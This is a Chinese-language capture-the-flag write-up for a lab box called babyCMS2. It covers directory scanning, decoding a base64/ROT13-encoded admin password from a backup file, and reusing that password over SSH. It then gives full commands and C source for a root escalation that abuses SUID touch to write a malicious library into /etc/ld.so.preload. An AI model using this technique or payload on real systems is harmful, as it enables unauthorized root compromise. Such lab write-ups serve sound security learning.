

babyCMS2

信息收集

常规22, 80端口

目录扫描，看到备份文件，内容如下，先后经过base64和ROT13解码，拿到口令

```
kali㉿Largefries:~  
└─> gobuster dir -u http://192.168.1.5/ --wordlist=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,zip -b 404,403  
Gobuster v3.6  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)  
[+] Url:          http://192.168.1.5/  
[+] Method:       GET  
[+] Threads:      10  
[+] Wordlist:     /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  
[+] Negative Status codes: 404,403  
[+] User Agent:   gobuster/3.6  
[+] Extensions:  html,php,txt,zip  
[+] Timeout:      10s  
Starting gobuster in directory enumeration mode  
/index.html        (Status: 200) [Size: 22]  
/backup.txt        (Status: 200) [Size: 37]
```

bnF6dmE6MzZkVFVxSVJEQXFYMzhabkZGWXq=

admin:36qGHdVEQNdK38MaSSLk

The screenshot shows the CyberChef interface with two main sections: "Input" and "Output".

Input: The input text is "bnF6dmE6MzzKVFVxSVJEQXFYMzhbkZGWXg=". Below the input field, there are some statistics: "enc 37" and "dec 2".

Recipe: The recipe is set to "From Base64".

ROT13: The amount is set to 13.

Alphabet: The alphabet is set to "A-Za-z0-9+=".

Checkboxes:

- Remove non-alphabet chars
- Strict mode
- Rotate lower case chars
- Rotate upper case chars
- Rotate numbers

Amount: The amount is set to 13.

另有babycms2.ds2域名，加下hosts

登录后，看到drupal版本号很新，没找到利用方式。



在用户菜单，看到henry用户，试下SSH复用admin的登录密码，进来了...

提权root

又是一通翻找，并没有啥发现，数据库进去也没啥东西
只发现 `usr/bin/touch` 有SUID权限

以下內容拷打AI得知：

1. 利用touch创建/etc/ld.so.preload

ld.so.preload是一个特殊的系统配置文件。Linux 在运行任何动态链接程序 (如 ls, id, sudo) 之前, 都会强制加载该文件中列出的共享库 (.so文件)

2. 利用 umask 确保该文件普通用户也能写入

3. 编写恶意 .so 库, 内含提权代码, 将路径写入配置文件

4. 运行SUID 程序 (如 sudo)触发加载

```
henry@BabyCMS2:/tmp$ umask 000
henry@BabyCMS2:/tmp$ /usr/bin/touch /etc/ld.so.preload
henry@BabyCMS2:/tmp$ ls -l /etc/ld.so.preload
-rw-rw-rw- 1 root root 0 Dec 27 00:12 /etc/ld.so.preload
henry@BabyCMS2:/tmp$ vi pwn.c
henry@BabyCMS2:/tmp$ gcc -fPIC -shared -o /tmp/pwn.so /tmp/pwn.c -nostartfiles
henry@BabyCMS2:/tmp$ echo "/tmp/pwn.so" > /etc/ld.so.preload
henry@BabyCMS2:/tmp$ sudo --help
# id
uid=0(root) gid=0(root) groups=0(root),1000(henry)
# cd /root
# cat root.txt
flag{root-19c1d0bdafb97b0f104818f5911dc64}
# cat /home/henry/user.txt
flag{user-c2088f0b8df91f708406ad4acf3d3b92}
```

pwn.c脚本内容:

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unlink("/etc/ld.so.preload");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    execl("/bin/sh", "sh", NULL);
}
```